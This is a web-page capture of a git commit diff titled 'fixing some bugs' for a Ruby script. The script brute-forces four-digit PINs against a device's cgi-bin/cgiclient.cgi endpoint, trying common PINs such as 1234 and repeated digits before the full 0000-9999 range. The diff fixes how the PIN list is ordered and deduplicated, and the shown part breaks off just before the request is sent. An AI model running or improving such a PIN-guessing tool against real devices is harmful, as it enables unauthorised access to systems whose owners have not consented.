fixing some bugs
This commit is contained in:
parent
4b909d144c
commit
16ed053d82
@ -103,26 +103,21 @@ elsif mode.eql?(:range)
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
_pins = Hash.new
|
_pins = Array.new
|
||||||
9999.downto(0).to_a each do |i|
|
9999.downto(0).to_a.each do |i|
|
||||||
_pins[i] = 1
|
_pins << sprintf('%04d', i)
|
||||||
end
|
end
|
||||||
|
|
||||||
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
|
prioritized = [1234, 2546, 1739, 9876, 1425, 4152].each.collect { |i| i.to_s } # commonly used PINs
|
||||||
|
|
||||||
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
|
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
|
||||||
|
|
||||||
# commonly used PINs that follow a pattern
|
# commonly used PINs that follow a pattern
|
||||||
0.upto(9) do |i|
|
0.upto(9) do |i|
|
||||||
prioritized << i * 1111
|
prioritized << sprintf('%04d', i * 1111)
|
||||||
end
|
end
|
||||||
|
|
||||||
# TODO this is broken, once we delete/add, we change the order.. use a set instead? could go poor man hash style..
|
pins = [ prioritized, _pins ].flatten.uniq
|
||||||
prioritized.each do |p|
|
|
||||||
_pins.delete(p)
|
|
||||||
end
|
|
||||||
|
|
||||||
pins = [ prioritized, _pins.keys ].flatten # hackery
|
|
||||||
|
|
||||||
targets.each do |target|
|
targets.each do |target|
|
||||||
|
|
||||||
@ -130,10 +125,7 @@ targets.each do |target|
|
|||||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
|
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
|
||||||
puts sprintf('url: [%s]', url)
|
puts sprintf('url: [%s]', url)
|
||||||
|
|
||||||
pins.each do |i|
|
pins.each do |pin|
|
||||||
|
|
||||||
pin = sprintf('%04d', i)
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
puts sprintf(' trying pin[%s]', pin)
|
puts sprintf(' trying pin[%s]', pin)
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user